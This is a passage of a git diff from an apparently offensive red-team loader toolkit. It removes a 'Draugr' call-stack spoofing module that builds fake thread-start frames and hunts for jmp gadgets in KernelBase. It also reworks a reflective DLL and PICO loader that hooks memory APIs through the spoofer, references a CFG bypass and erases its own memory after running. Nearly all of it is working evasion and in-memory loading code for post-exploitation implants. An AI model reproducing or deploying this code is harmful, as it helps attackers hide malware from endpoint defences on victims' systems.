UnwindCode [ 1 ]; -} UNWIND_INFO; - -typedef struct { - PVOID ModuleAddress; - PVOID FunctionAddress; - DWORD Offset; -} FRAME_INFO; - -typedef struct { - FRAME_INFO Frame1; - FRAME_INFO Frame2; - PVOID Gadget; -} SYNTHETIC_STACK_FRAME; - -typedef struct { - FUNCTION_CALL * FunctionCall; - PVOID StackFrame; - PVOID SpoofCall; -} DRAUGR_FUNCTION_CALL; - -typedef struct { - PVOID Fixup; - PVOID OriginalReturnAddress; - PVOID Rbx; - PVOID Rdi; - PVOID BaseThreadInitThunkStackSize; - PVOID BaseThreadInitThunkReturnAddress; - PVOID TrampolineStackSize; - PVOID RtlUserThreadStartStackSize; - PVOID RtlUserThreadStartReturnAddress; - PVOID Ssn; - PVOID Trampoline; - PVOID Rsi; - PVOID R12; - PVOID R13; - PVOID R14; - PVOID R15; -} DRAUGR_PARAMETERS; - -extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID ); - -#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] ) - -void init_frame_info ( SYNTHETIC_STACK_FRAME * frame ) -{ - PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" ); - PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" ); - - frame->Frame1.ModuleAddress = frame1_module; - frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" ); - frame->Frame1.Offset = 0x17; - - frame->Frame2.ModuleAddress = frame2_module; - frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" ); - frame->Frame2.Offset = 0x2c; - - frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" ); -} - -BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size ) -{ - IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module ); - - if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) { - return FALSE; - } - - IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew ); - - if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) { - return FALSE; - } - - IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers ); - - for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ ) - { - DWORD h = ror13hash ( ( char * ) section_header[ i ].Name ); - - if ( h == TEXT_HASH ) - { - *virtual_address = section_header[ i ].VirtualAddress; - *size = section_header[ i ].SizeOfRawData; - - return TRUE; - } - } - - return FALSE; -} - -PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base ) -{ - UNWIND_INFO * unwind_info = NULL; - ULONG unwind_operation = 0; - ULONG operation_info = 0; - ULONG index = 0; - ULONG frame_offset = 0; - - STACK_FRAME stack_frame = { 0 }; - - if ( ! runtime_function ) { - return NULL; - } - - unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base ); - - while ( index < unwind_info->CountOfCodes ) - { - unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp; - operation_info = unwind_info->UnwindCode[ index ].OpInfo; - - /* don't use switch as it produces jump tables */ - if ( unwind_operation == UWOP_PUSH_NONVOL ) - { - stack_frame.TotalStackSize += 8; - - if ( operation_info == RBP_OP_INFO ) - { - stack_frame.PushRbp = TRUE; - stack_frame.CountOfCodes = unwind_info->CountOfCodes; - stack_frame.PushRbpIndex = index + 1; - } - } - else if ( unwind_operation == UWOP_SAVE_NONVOL ) - { - index += 1; - } - else if ( unwind_operation == UWOP_ALLOC_SMALL ) - { - stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 ); - } - else if ( unwind_operation == UWOP_ALLOC_LARGE ) - { - index += 1; - frame_offset = unwind_info->UnwindCode[ index ].FrameOffset; - - if (operation_info == 0) - { - frame_offset *= 8; - } - else - { - index += 1; - frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 ); - } - - stack_frame.TotalStackSize += frame_offset; - } - else if ( unwind_operation == UWOP_SET_FPREG ) - { - stack_frame.SetsFramePointer = TRUE; - } - else if ( unwind_operation == UWOP_SAVE_XMM128 ) - { - return NULL; - } - - index += 1; - } - - if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) ) - { - index = unwind_info->CountOfCodes; - - if ( 0 != ( index & 1 ) ) - { - index += 1; - } - - runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] ); - return calculate_function_stack_size ( runtime_function, image_base ); - } - - stack_frame.TotalStackSize += 8; - return ( PVOID ) ( stack_frame.TotalStackSize ); -} - -PVOID calculate_function_stack_size_wrapper ( PVOID return_address ) -{ - RUNTIME_FUNCTION * runtime_function = NULL; - DWORD64 image_base = 0; - PUNWIND_HISTORY_TABLE history_table = NULL; - - if ( ! return_address ) { - return NULL; - } - - runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table ); - - if ( NULL == runtime_function ) { - return NULL; - } - - return calculate_function_stack_size ( runtime_function, image_base ); -} - -PVOID find_gadget( PVOID module ) -{ - BOOL found_gadgets = FALSE; - DWORD text_section_size = 0; - DWORD text_section_va = 0; - DWORD counter = 0; - ULONG seed = 0; - ULONG random = 0; - PVOID module_text_section = NULL; - - PVOID gadget_list [ 15 ] = { 0 }; - - if ( ! found_gadgets ) - { - if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) { - return NULL; - } - - module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va ); - - for ( int i = 0; i < ( text_section_size - 2 ); i++ ) - { - /* x64 opcodes are ff 23 */ - if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 ) - { - gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i ); - counter++; - - if ( counter == 15 ) { - break; - } - } - } - - found_gadgets = TRUE; - } - - seed = 0x1337; - random = NTDLL$RtlRandomEx ( &seed ); - random %= counter; - - return gadget_list [ random ]; -} - -ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 ) -{ - int attempts = 0; - PVOID return_address = NULL; - - DRAUGR_PARAMETERS draugr_params = { 0 }; - - if ( ssn ) { - draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn; - } - - SYNTHETIC_STACK_FRAME frame; - init_frame_info ( &frame ); - - return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset ); - draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address ); - draugr_params.BaseThreadInitThunkReturnAddress = return_address; - - if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) { - return ( ULONG_PTR ) ( NULL ); - } - - return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset ); - draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address ); - draugr_params.RtlUserThreadStartReturnAddress = return_address; - - if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) { - return ( ULONG_PTR ) ( NULL ); - } - - do - { - draugr_params.Trampoline = find_gadget ( frame.Gadget ); - draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline ); - - attempts++; - - if ( attempts > 15 ) { - return ( ULONG_PTR ) ( NULL ); - } - - } while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) ); - - if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) { - return ( ULONG_PTR ) ( NULL ); - } - - return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 ); -} - -ULONG_PTR spoof_call ( FUNCTION_CALL * call ) -{ - /* very inelegant */ - if ( call->argc == 0 ) { - return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 1 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 2 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 3 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 4 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 5 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 6 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 7 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL ); - } else if ( call->argc == 8 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL ); - } else if ( call->argc == 9 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL ); - } else if ( call->argc == 10 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL ); - } else if ( call->argc == 11 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL ); - } else if ( call->argc == 12 ) { - return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) ); - } else { - return ( ULONG_PTR ) ( NULL ); - } -} diff --git a/local-loader/src/spoof.h b/local-loader/src/spoof.h deleted file mode 100644 index ef25c1b..0000000 --- a/local-loader/src/spoof.h +++ /dev/null @@ -1,10 +0,0 @@ -#define spoof_arg(x) ( ULONG_PTR ) ( x ) - -typedef struct { - PVOID ptr; - DWORD ssn; - int argc; - ULONG_PTR args[10]; -} FUNCTION_CALL; - -ULONG_PTR spoof_call ( FUNCTION_CALL * call ); diff --git a/local-loader/src/tcg.h b/local-loader/src/tcg.h deleted file mode 100644 index 553836d..0000000 --- a/local-loader/src/tcg.h +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -// used by both the Pico Loader and DLL loader -typedef struct { - __typeof__(LoadLibraryA) * LoadLibraryA; - __typeof__(GetProcAddress) * GetProcAddress; -} IMPORTFUNCS; - -// linker intrinsic to map a function hash to a hook registered via Crystal Palace -FARPROC __resolve_hook(DWORD funcHash); - -/* - * Structs used by our DLL loader - */ - -#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) ) -#define DEREF( name )*(UINT_PTR *)(name) - -typedef struct { - IMAGE_DOS_HEADER * DosHeader; - IMAGE_NT_HEADERS * NtHeaders; - IMAGE_OPTIONAL_HEADER * OptionalHeader; -} DLLDATA; - -/* - * utility functions - */ -DWORD adler32sum(unsigned char * buffer, DWORD length); -DWORD ror13hash(const char * c); - -/* - * printf-style debugging. - */ -void dprintf(char * format, ...); - -/* - * PICO running functions - */ -typedef void (*PICOMAIN_FUNC)(char * arg); - -PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag); -PICOMAIN_FUNC PicoEntryPoint(char * src, char * base); -int PicoCodeSize(char * src); -int PicoDataSize(char * src); -void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData); - -/* - * Resolve functions by walking the export address table - */ -FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash); -HANDLE findModuleByHash(DWORD moduleHash); - -/* - * DLL parsing and loading functions - */ -typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID); - -DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base); -IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry); -void LoadDLL(DLLDATA * dll, char * src, char * dst); -void LoadSections(DLLDATA * dll, char * src, char * dst); -void ParseDLL(char * src, DLLDATA * data); -void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst); -void ProcessRelocations(DLLDATA * dll, char * src, char * dst); -DWORD SizeOfDLL(DLLDATA * data); - -/* - * A macro to figure out our caller - * https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1 - */ -#ifdef __MINGW32__ -#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0)) -#else -#pragma intrinsic(_ReturnAddress) -#define WIN_GET_CALLER() _ReturnAddress() -#endif \ No newline at end of file diff --git a/postex-loader/loader.spec b/postex-loader/loader.spec index e2beb68..0a270e1 100644 --- a/postex-loader/loader.spec +++ b/postex-loader/loader.spec @@ -2,9 +2,14 @@ x64: load "bin/loader.x64.o" make pic +gofirst +optimize +disco - # merge pic services - run "services.spec" + # merge services + load "bin/services.x64.o" + merge + + dfr "patch_resolve" "strings" + mergelib "../libtcg.x64.zip" + # patch smart pointers in patch "get_module_handle" $GMH patch "get_proc_address" $GPA @@ -18,16 +23,13 @@ x64: # load the stack spoofing assembly load "bin/draugr.x64.bin" - # link is ok here because loader - # will be in RX or RWX memory - link "draugr_stub" + linkfunc "draugr_stub" # hook functions that the loader uses attach "KERNEL32$LoadLibraryA" "_LoadLibraryA" attach "KERNEL32$VirtualAlloc" "_VirtualAlloc" attach "KERNEL32$VirtualProtect" "_VirtualProtect" attach "KERNEL32$VirtualFree" "_VirtualFree" - preserve "KERNEL32$LoadLibraryA" "init_frame_info" # mask & link the dll generate $MASK 128 @@ -44,4 +46,4 @@ x64: run "pico.spec" link "pico" - export + export \ No newline at end of file diff --git a/postex-loader/pico.spec b/postex-loader/pico.spec index 021e111..29943e7 100644 --- a/postex-loader/pico.spec +++ b/postex-loader/pico.spec @@ -33,4 +33,4 @@ x64: mergelib "../libtcg.x64.zip" - export + export \ No newline at end of file diff --git a/postex-loader/services.spec b/postex-loader/services.spec deleted file mode 100644 index 72fcaca..0000000 --- a/postex-loader/services.spec +++ /dev/null @@ -1,7 +0,0 @@ -x64: - load "bin/services.x64.o" - merge - - mergelib "../libtcg.x64.zip" - - dfr "resolve" "strings" diff --git a/postex-loader/src/cfg.c b/postex-loader/src/cfg.c index 0deba3f..22f5b87 100644 --- a/postex-loader/src/cfg.c +++ b/postex-loader/src/cfg.c @@ -111,4 +111,4 @@ BOOL bypass_cfg ( PVOID address ) } return TRUE; -} +} \ No newline at end of file diff --git a/postex-loader/src/cleanup.c b/postex-loader/src/cleanup.c index 4446a69..ff51f49 100644 --- a/postex-loader/src/cleanup.c +++ b/postex-loader/src/cleanup.c @@ -5,11 +5,11 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT void WINAPI KERNEL32$ExitThread ( DWORD ); DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); -DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT void WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT void WINAPI KERNEL32$Sleep ( DWORD ); DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); @@ -53,10 +53,12 @@ void cleanup_memory ( MEMORY_LAYOUT * memory ) if ( ctx.Rip != 0 ) { + #define CTX_COUNT 3 + HANDLE heap = KERNEL32$GetProcessHeap ( ); - CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * CTX_COUNT ); - for ( int i = 0; i < 2; i++ ) { + for ( int i = 0; i < CTX_COUNT; i++ ) { memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); } @@ -72,16 +74,24 @@ void cleanup_memory ( MEMORY_LAYOUT * memory ) ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); - /* this pico */ + /* pico code */ ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); - ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.Code ); ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + /* pico data */ + ctx_free[ 2 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 2 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 2 ].Rcx = ( DWORD64 ) ( memory->Pico.Data ); + ctx_free[ 2 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 2 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + /* give a decent delay so ExitThread has time to be called */ KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 2 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); } } -} +} \ No newline at end of file diff --git a/postex-loader/src/cleanup.h b/postex-loader/src/cleanup.h index 65c0861..ebdd31f 100644 --- a/postex-loader/src/cleanup.h +++ b/postex-loader/src/cleanup.h @@ -1 +1 @@ -void cleanup_memory ( MEMORY_LAYOUT * memory ); +void cleanup_memory ( MEMORY_LAYOUT * memory ); \ No newline at end of file diff --git a/postex-loader/src/hooks.c b/postex-loader/src/hooks.c index 572f646..c8b65d9 100644 --- a/postex-loader/src/hooks.c +++ b/postex-loader/src/hooks.c @@ -207,4 +207,4 @@ BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtec call.args [ 3 ] = spoof_arg ( lpflOldProtect ); return ( BOOL ) spoof_call ( &call ); -} +} \ No newline at end of file diff --git a/postex-loader/src/loader.c b/postex-loader/src/loader.c index 26300fb..54cf141 100644 --- a/postex-loader/src/loader.c +++ b/postex-loader/src/loader.c @@ -17,7 +17,7 @@ int __tag_setup_memory ( ); typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs ); typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout ); -void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region ) +void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory ) { DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections; IMAGE_SECTION_HEADER * section_hdr = NULL; @@ -59,14 +59,16 @@ void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REG KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect ); /* track memory */ - region->Sections[ i ].BaseAddress = section_dst; - region->Sections[ i ].Size = section_size; - region->Sections[ i ].CurrentProtect = new_protect; - region->Sections[ i ].PreviousProtect = new_protect; + dll_memory->Sections[ i ].BaseAddress = section_dst; + dll_memory->Sections[ i ].Size = section_size; + dll_memory->Sections[ i ].CurrentProtect = new_protect; + dll_memory->Sections[ i ].PreviousProtect = new_protect; /* advance to section */ section_hdr++; } + + dll_memory->Count = section_count; } void go ( void * loader_arguments ) @@ -80,32 +82,24 @@ void go ( void * loader_arguments ) char * pico_src = GETRESOURCE ( _PICO_ ); /* allocate memory for it */ - PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); + char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE ); /* load it into memory */ - PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data ); + PicoLoad ( &funcs, pico_src, pico_code, pico_data ); /* make code section RX */ DWORD old_protect; - KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); + KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect ); /* begin tracking memory allocations */ MEMORY_LAYOUT memory = { 0 }; - memory.Pico.BaseAddress = ( PVOID ) ( pico_dst ); - memory.Pico.Size = sizeof ( PICO ); - - memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data ); - memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src ); - memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE; - memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE; - memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code ); - memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src ); - memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ; - memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ; + memory.Pico.Data = pico_data; + memory.Pico.Code = pico_code; /* call setup_hooks to overwrite funcs.GetProcAddress */ - ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs ); + ( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs ); /* now load the dll (it's masked) */ RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ ); @@ -133,7 +127,7 @@ void go ( void * loader_arguments ) fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll ); /* call setup_memory to give PICO the memory info */ - ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory ); + ( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory ); /* now run the DLL */ DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst ); @@ -143,4 +137,4 @@ void go ( void * loader_arguments ) entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL ); entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments ); -} +} \ No newline at end of file diff --git a/postex-loader/src/loader.h b/postex-loader/src/loader.h index 5bdf12b..9454672 100644 --- a/postex-loader/src/loader.h +++ b/postex-loader/src/loader.h @@ -1,11 +1,6 @@ #define GETRESOURCE(x) ( char * ) &x -typedef struct { - char data [ 4096 ]; - char code [ 16384 ]; -} PICO; - typedef struct { int len; - char value[]; -} RESOURCE; + char value [ ]; +} RESOURCE; \ No newline at end of file diff --git a/postex-loader/src/memory.h b/postex-loader/src/memory.h index 4bae792..f794803 100644 --- a/postex-loader/src/memory.h +++ b/postex-loader/src/memory.h @@ -1,3 +1,21 @@ +#define MAX_HEAP_RECORDS 32 +#define MAX_SECTIONS 16 + +typedef struct { + PVOID Data; + PVOID Code; +} 